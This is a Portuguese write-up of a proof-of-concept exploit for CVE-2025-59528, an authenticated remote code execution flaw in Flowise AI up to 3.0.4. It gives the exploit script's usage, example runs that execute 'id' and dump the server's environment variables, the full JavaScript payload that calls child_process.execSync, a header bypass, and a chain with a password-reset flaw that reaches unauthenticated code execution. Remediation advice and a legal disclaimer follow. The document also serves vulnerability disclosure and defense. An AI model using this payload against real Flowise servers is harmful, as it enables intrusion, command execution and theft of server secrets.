CVE-2025-59528 — Execução Remota de Código (RCE) Autenticada no Flowise AI

Visão Geral

ID do CVE: CVE-2025-59528
Software Afetado: Flowise AI
Versões Vulneráveis: <= 3.0.4
Versão Corrigida: 3.0.5 e posterior
Severidade: Crítica
Autor: r3nsi15
Data: 2025

Descrição

As versões do Flowise AI até 3.0.4 (inclusive) permitem que um usuário autenticado alcance execução remota de código (RCE) no servidor host ao enviar um payload JavaScript especialmente elaborado para o endpoint /api/v1/node-load-method/customMCP.

O método de carregamento do nó customMCP aceita entrada controlada pelo usuário que é avaliada no lado do servidor como JavaScript, sem sanitização ou sandboxing adequados. Ao injetar um payload que aproveita o child_process.execSync do Node.js, um atacante pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Flowise.

O endpoint também exige que o cabeçalho x-request-from: internal esteja presente.

Endpoint Afetado

Prova de Conceito

Arquivo: CVE-2025-59528_POC.py

Requisitos

• Python 3.x
• Biblioteca requests
• Credenciais válidas para qualquer conta de usuário na instância Flowise alvo

pip install requests

Uso

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumentos

Exemplos

Verificar execução de código:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperar variáveis de ambiente do servidor:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Saída Esperada

[+] Logged in
[+] Exploit sent
[+] Status: 200

Detalhamento do Payload

O exploit injeta a seguinte expressão JavaScript no campo mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})

• process.mainModule.require('child_process') — carrega o módulo de execução de processos nativo do Node.js.
• execSync('<command>') — executa sincronamente o comando do sistema operacional fornecido pelo atacante.
• Toda a expressão é envolvida em um objeto literal para garantir que seja avaliada corretamente no contexto JavaScript do servidor.

O cabeçalho x-request-from: internal também é adicionado à requisição para passar por uma verificação de origem interna que, de outra forma, bloquearia a chamada.

Causa Raiz

O endpoint customMCP passa a entrada fornecida pelo usuário diretamente para um contexto de avaliação JavaScript no servidor, sem sanitização ou sandboxing. Combinado com o acesso irrestrito aos módulos principais do Node.js (especificamente child_process) via process.mainModule.require, isso cria um vetor de RCE trivialmente explorável. A verificação do cabeçalho x-request-from não fornece uma barreira de segurança significativa, pois não é validada contra nenhuma fonte confiável.

Encadeamento com CVE-2025-58434

Essas duas vulnerabilidades podem ser encadeadas para um caminho de ataque RCE não autenticado contra instâncias do Flowise executando versões <= 3.0.4:

1. Use CVE-2025-58434 para redefinir a senha de qualquer conta conhecida (nenhuma autenticação prévia é necessária).
2. Faça login com as credenciais recém-definidas.
3. Use CVE-2025-59528 para executar comandos arbitrários do sistema operacional no servidor.

Remediação

• Atualize para o Flowise AI 3.0.5 ou posterior, que remove ou isola adequadamente o caminho de avaliação vulnerável.
• Nunca avalie strings controladas pelo usuário como código em um contexto no lado do servidor.
• Restrinja o acesso a módulos perigosos do Node.js (child_process, fs, etc.) por meio de um sandbox adequado (por exemplo, vm2, contextos isolados, ou remoção do acesso a process.mainModule).
• Valide e autentique o cabeçalho x-request-from por meio de um mecanismo no lado do servidor, em vez de uma simples verificação de string.
• Aplique o princípio do menor privilégio ao processo do servidor Flowise.

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor e os colaboradores não assumem nenhuma responsabilidade pelo uso indevido.